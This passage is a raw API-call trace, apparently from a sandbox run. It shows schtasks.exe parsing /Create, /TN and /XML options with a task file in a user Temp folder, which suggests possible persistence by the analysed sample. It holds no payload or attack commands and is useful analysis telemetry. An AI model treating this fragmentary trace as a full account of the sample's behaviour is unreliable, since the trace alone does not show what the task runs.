(lpString="XML") returned 3 [0288.088] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.088] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|change|") returned 8 [0288.089] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|XML|") returned 5 [0288.089] lstrlenW (lpString="|change|") returned 8 [0288.089] lstrlenW (lpString="|XML|") returned 5 [0288.089] StrStrIW (lpFirst="|change|", lpSrch="|XML|") returned 0x0 [0288.089] SetLastError (dwErrCode=0x490) [0288.089] lstrlenW (lpString="run") returned 3 [0288.089] lstrlenW (lpString="run") returned 3 [0288.089] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.089] lstrlenW (lpString="XML") returned 3 [0288.089] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.089] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|run|") returned 5 [0288.089] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|XML|") returned 5 [0288.089] lstrlenW (lpString="|run|") returned 5 [0288.089] lstrlenW (lpString="|XML|") returned 5 [0288.089] StrStrIW (lpFirst="|run|", lpSrch="|XML|") returned 0x0 [0288.089] SetLastError (dwErrCode=0x490) [0288.089] lstrlenW (lpString="end") returned 3 [0288.089] lstrlenW (lpString="end") returned 3 [0288.089] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.089] lstrlenW (lpString="XML") returned 3 [0288.089] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.090] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|end|") returned 5 [0288.090] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|XML|") returned 5 [0288.090] lstrlenW (lpString="|end|") returned 5 [0288.090] lstrlenW (lpString="|XML|") returned 5 [0288.090] StrStrIW (lpFirst="|end|", lpSrch="|XML|") returned 0x0 [0288.090] SetLastError (dwErrCode=0x490) [0288.090] lstrlenW (lpString="showsid") returned 7 [0288.090] lstrlenW (lpString="showsid") returned 7 [0288.090] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.090] lstrlenW (lpString="XML") returned 3 [0288.090] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.090] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0xa, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|showsid|") returned 9 [0288.090] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24f42c | out: _Buffer="|XML|") returned 5 [0288.090] lstrlenW (lpString="|showsid|") returned 9 [0288.090] lstrlenW (lpString="|XML|") returned 5 [0288.090] StrStrIW (lpFirst="|showsid|", lpSrch="|XML|") returned 0x0 [0288.090] SetLastError (dwErrCode=0x490) [0288.090] SetLastError (dwErrCode=0x490) [0288.090] SetLastError (dwErrCode=0x0) [0288.090] lstrlenW (lpString="/XML") returned 4 [0288.090] StrChrIW (lpStart="/XML", wMatch=0x3a) returned 0x0 [0288.090] SetLastError (dwErrCode=0x490) [0288.090] SetLastError (dwErrCode=0x0) [0288.090] lstrlenW (lpString="/XML") returned 4 [0288.090] GetProcessHeap () returned 0x4f0000 [0288.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0xa) returned 0x5052a0 [0288.090] GetProcessHeap () returned 0x4f0000 [0288.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505968 [0288.091] SetLastError (dwErrCode=0x0) [0288.091] SetLastError (dwErrCode=0x0) [0288.091] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.091] lstrlenW (lpString="-/") returned 2 [0288.091] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0288.091] SetLastError (dwErrCode=0x490) [0288.091] SetLastError (dwErrCode=0x490) [0288.091] SetLastError (dwErrCode=0x0) [0288.091] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.091] StrChrIW (lpStart="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp", wMatch=0x3a) returned=":\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp" [0288.091] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.091] GetProcessHeap () returned 0x4f0000 [0288.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x5052d0 [0288.091] _memicmp (_Buf1=0x5052d0, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.091] GetProcessHeap () returned 0x4f0000 [0288.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0xc) returned 0x5052e8 [0288.091] GetProcessHeap () returned 0x4f0000 [0288.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x505300 [0288.091] _memicmp (_Buf1=0x505300, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.091] GetProcessHeap () returned 0x4f0000 [0288.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x68) returned 0x506280 [0288.091] SetLastError (dwErrCode=0x7a) [0288.091] SetLastError (dwErrCode=0x0) [0288.091] SetLastError (dwErrCode=0x0) [0288.091] lstrlenW (lpString="C") returned 1 [0288.091] SetLastError (dwErrCode=0x490) [0288.091] SetLastError (dwErrCode=0x0) [0288.091] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x64) returned 0x5062f0 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505988 [0288.092] SetLastError (dwErrCode=0x0) [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506f48) returned 1 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506f48) returned 0x8 [0288.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506f48 | out: hHeap=0x4f0000) returned 1 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505908) returned 1 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505908) returned 0x14 [0288.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505908 | out: hHeap=0x4f0000) returned 1 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506f58) returned 1 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506f58) returned 0x22 [0288.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506f58 | out: hHeap=0x4f0000) returned 1 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505948) returned 1 [0288.092] GetProcessHeap () returned 0x4f0000 [0288.092] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505948) returned 0x14 [0288.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505948 | out: hHeap=0x4f0000) returned 1 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5052a0) returned 1 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5052a0) returned 0xa [0288.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5052a0 | out: hHeap=0x4f0000) returned 1 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505968) returned 1 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505968) returned 0x14 [0288.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505968 | out: hHeap=0x4f0000) returned 1 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5062f0) returned 1 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5062f0) returned 0x64 [0288.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5062f0 | out: hHeap=0x4f0000) returned 1 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505988) returned 1 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x505988) returned 0x14 [0288.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505988 | out: hHeap=0x4f0000) returned 1 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] GetProcessHeap () returned 0x4f0000 [0288.093] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff598) returned 1 [0288.094] GetProcessHeap () returned 0x4f0000 [0288.094] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x4ff598) returned 0x10 [0288.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff598 | out: hHeap=0x4f0000) returned 1 [0288.094] SetLastError (dwErrCode=0x0) [0288.094] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0288.094] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0288.094] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0288.094] VerifyVersionInfoW (in: lpVersionInformation=0x24c844, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x24c844) returned 1 [0288.094] SetLastError (dwErrCode=0x0) [0288.094] lstrlenW (lpString="create") returned 6 [0288.094] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0288.094] SetLastError (dwErrCode=0x490) [0288.094] SetLastError (dwErrCode=0x0) [0288.094] lstrlenW (lpString="create") returned 6 [0288.094] GetProcessHeap () returned 0x4f0000 [0288.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505988 [0288.094] GetProcessHeap () returned 0x4f0000 [0288.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x10) returned 0x4ff598 [0288.095] _memicmp (_Buf1=0x4ff598, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.095] GetProcessHeap () returned 0x4f0000 [0288.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x16) returned 0x505968 [0288.095] SetLastError (dwErrCode=0x0) [0288.095] _memicmp (_Buf1=0x5051f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.095] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x506070, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0288.095] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0288.095] GetProcessHeap () returned 0x4f0000 [0288.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x74e) returned 0x506f48 [0288.096] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x506f48 | out: lpData=0x506f48) returned 1 [0288.096] VerQueryValueW (in: pBlock=0x506f48, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24c94c, puLen=0x24c950 | out: lplpBuffer=0x24c94c*=0x5072e4, puLen=0x24c950) returned 1 [0288.096] _memicmp (_Buf1=0x5051f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.096] _vsnwprintf (in: _Buffer=0x506070, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x24c934 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0288.096] VerQueryValueW (in: pBlock=0x506f48, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x24c95c, puLen=0x24c958 | out: lplpBuffer=0x24c95c*=0x507110, puLen=0x24c958) returned 1 [0288.096] lstrlenW (lpString="schtasks.exe") returned 12 [0288.096] lstrlenW (lpString="schtasks.exe") returned 12 [0288.096] lstrlenW (lpString=".EXE") returned 4 [0288.096] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0288.096] lstrlenW (lpString="schtasks.exe") returned 12 [0288.096] lstrlenW (lpString=".EXE") returned 4 [0288.096] lstrlenW (lpString="schtasks") returned 8 [0288.096] lstrlenW (lpString="/create") returned 7 [0288.096] _memicmp (_Buf1=0x5051f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.096] _vsnwprintf (in: _Buffer=0x506070, _BufferCount=0x19, _Format="%s %s", _ArgList=0x24c934 | out: _Buffer="schtasks /create") returned 16 [0288.096] _memicmp (_Buf1=0x505258, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.096] GetProcessHeap () returned 0x4f0000 [0288.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x14) returned 0x505948 [0288.097] _memicmp (_Buf1=0x505270, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.097] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x506d08, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0288.097] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0288.097] GetProcessHeap () returned 0x4f0000 [0288.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0xc, Size=0x30) returned 0x5062f0 [0288.097] _vsnwprintf (in: _Buffer=0x506c60, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x24c938 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0288.097] GetProcessHeap () returned 0x4f0000 [0288.097] GetProcessHeap () returned 0x4f0000 [0288.097] HeapValidate (hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506f48) returned 1 [0288.097] GetProcessHeap () returned 0x4f0000 [0288.097] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x506f48) returned 0x74e [0288.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506f48 | out: hHeap=0x4f0000) returned 1 [0288.097] SetLastError (dwErrCode=0x0) [0288.097] GetThreadLocale () returned 0x409 [0288.097] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.097] lstrlenW (lpString="create") returned 6 [0288.097] GetThreadLocale () returned 0x409 [0288.097] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.097] lstrlenW (lpString="?") returned 1 [0288.097] GetThreadLocale () returned 0x409 [0288.097] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.097] lstrlenW (lpString="s") returned 1 [0288.097] GetThreadLocale () returned 0x409 [0288.097] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.097] lstrlenW (lpString="u") returned 1 [0288.098] GetThreadLocale () returned 0x409 [0288.098] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.098] lstrlenW (lpString="p") returned 1 [0288.098] GetThreadLocale () returned 0x409 [0288.098] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.098] lstrlenW (lpString="ru") returned 2 [0288.098] GetThreadLocale () returned 0x409 [0288.098] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.098] lstrlenW (lpString="rp") returned 2 [0288.098] GetThreadLocale () returned 0x409 [0288.098] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.098] lstrlenW (lpString="sc") returned 2 [0288.098] GetThreadLocale () returned 0x409 [0288.098] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.098] lstrlenW (lpString="mo") returned 2 [0288.098] GetThreadLocale () returned 0x409 [0288.098] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.098] lstrlenW (lpString="d") returned 1 [0288.098] GetThreadLocale () returned 0x409 [0288.098] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.098] lstrlenW (lpString="m") returned 1 [0288.098] GetThreadLocale () returned 0x409 [0288.098] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.098] lstrlenW (lpString="i") returned 1 [0288.098] GetThreadLocale () returned 0x409 [0288.098] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.098] lstrlenW (lpString="tn") returned 2 [0288.098] GetThreadLocale () returned 0x409 [0288.099] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.099] lstrlenW (lpString="tr") returned 2 [0288.099] GetThreadLocale () returned 0x409 [0288.099] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.099] lstrlenW (lpString="st") returned 2 [0288.099] GetThreadLocale () returned 0x409 [0288.099] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.099] lstrlenW (lpString="sd") returned 2 [0288.099] GetThreadLocale () returned 0x409 [0288.099] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.099] lstrlenW (lpString="ed") returned 2 [0288.099] GetThreadLocale () returned 0x409 [0288.099] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.099] lstrlenW (lpString="it") returned 2 [0288.099] GetThreadLocale () returned 0x409 [0288.099] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.099] lstrlenW (lpString="et") returned 2 [0288.099] GetThreadLocale () returned 0x409 [0288.099] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.099] lstrlenW (lpString="k") returned 1 [0288.099] GetThreadLocale () returned 0x409 [0288.099] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.099] lstrlenW (lpString="du") returned 2 [0288.099] GetThreadLocale () returned 0x409 [0288.099] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.099] lstrlenW (lpString="ri") returned 2 [0288.099] GetThreadLocale () returned 0x409 [0288.100] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.100] lstrlenW (lpString="z") returned 1 [0288.100] GetThreadLocale () returned 0x409 [0288.100] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.100] lstrlenW (lpString="f") returned 1 [0288.100] GetThreadLocale () returned 0x409 [0288.100] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.100] lstrlenW (lpString="v1") returned 2 [0288.100] GetThreadLocale () returned 0x409 [0288.100] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.100] lstrlenW (lpString="xml") returned 3 [0288.100] GetThreadLocale () returned 0x409 [0288.100] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.100] lstrlenW (lpString="ec") returned 2 [0288.100] GetThreadLocale () returned 0x409 [0288.100] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.100] lstrlenW (lpString="rl") returned 2 [0288.100] GetThreadLocale () returned 0x409 [0288.100] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.100] lstrlenW (lpString="delay") returned 5 [0288.100] GetThreadLocale () returned 0x409 [0288.100] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0288.100] lstrlenW (lpString="np") returned 2 [0288.100] SetLastError (dwErrCode=0x0) [0288.100] SetLastError (dwErrCode=0x0) [0288.100] lstrlenW (lpString="/Create") returned 7 [0288.100] lstrlenW (lpString="-/") returned 2 [0288.101] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0288.101] lstrlenW (lpString="create") returned 6 [0288.101] lstrlenW (lpString="create") returned 6 [0288.101] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.101] lstrlenW (lpString="Create") returned 6 [0288.101] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.101] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|create|") returned 8 [0288.101] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|Create|") returned 8 [0288.101] lstrlenW (lpString="|create|") returned 8 [0288.101] lstrlenW (lpString="|Create|") returned 8 [0288.101] StrStrIW (lpFirst="|create|", lpSrch="|Create|") returned="|create|" [0288.101] SetLastError (dwErrCode=0x0) [0288.101] SetLastError (dwErrCode=0x0) [0288.101] SetLastError (dwErrCode=0x0) [0288.101] lstrlenW (lpString="/TN") returned 3 [0288.101] lstrlenW (lpString="-/") returned 2 [0288.101] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0288.101] lstrlenW (lpString="create") returned 6 [0288.101] lstrlenW (lpString="create") returned 6 [0288.101] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.101] lstrlenW (lpString="TN") returned 2 [0288.101] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.101] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|create|") returned 8 [0288.101] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.102] lstrlenW (lpString="|create|") returned 8 [0288.102] lstrlenW (lpString="|TN|") returned 4 [0288.102] StrStrIW (lpFirst="|create|", lpSrch="|TN|") returned 0x0 [0288.102] SetLastError (dwErrCode=0x490) [0288.102] lstrlenW (lpString="?") returned 1 [0288.102] lstrlenW (lpString="?") returned 1 [0288.102] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.102] lstrlenW (lpString="TN") returned 2 [0288.102] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.102] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|?|") returned 3 [0288.102] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.102] lstrlenW (lpString="|?|") returned 3 [0288.102] lstrlenW (lpString="|TN|") returned 4 [0288.102] SetLastError (dwErrCode=0x490) [0288.102] lstrlenW (lpString="s") returned 1 [0288.102] lstrlenW (lpString="s") returned 1 [0288.102] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.102] lstrlenW (lpString="TN") returned 2 [0288.102] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.102] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|s|") returned 3 [0288.102] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.102] lstrlenW (lpString="|s|") returned 3 [0288.102] lstrlenW (lpString="|TN|") returned 4 [0288.102] SetLastError (dwErrCode=0x490) [0288.103] lstrlenW (lpString="u") returned 1 [0288.103] lstrlenW (lpString="u") returned 1 [0288.103] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.103] lstrlenW (lpString="TN") returned 2 [0288.103] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.103] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|u|") returned 3 [0288.103] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.103] lstrlenW (lpString="|u|") returned 3 [0288.103] lstrlenW (lpString="|TN|") returned 4 [0288.103] SetLastError (dwErrCode=0x490) [0288.103] lstrlenW (lpString="p") returned 1 [0288.103] lstrlenW (lpString="p") returned 1 [0288.103] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.103] lstrlenW (lpString="TN") returned 2 [0288.103] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.213] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|p|") returned 3 [0288.213] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.213] lstrlenW (lpString="|p|") returned 3 [0288.213] lstrlenW (lpString="|TN|") returned 4 [0288.213] SetLastError (dwErrCode=0x490) [0288.213] lstrlenW (lpString="ru") returned 2 [0288.213] lstrlenW (lpString="ru") returned 2 [0288.213] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) 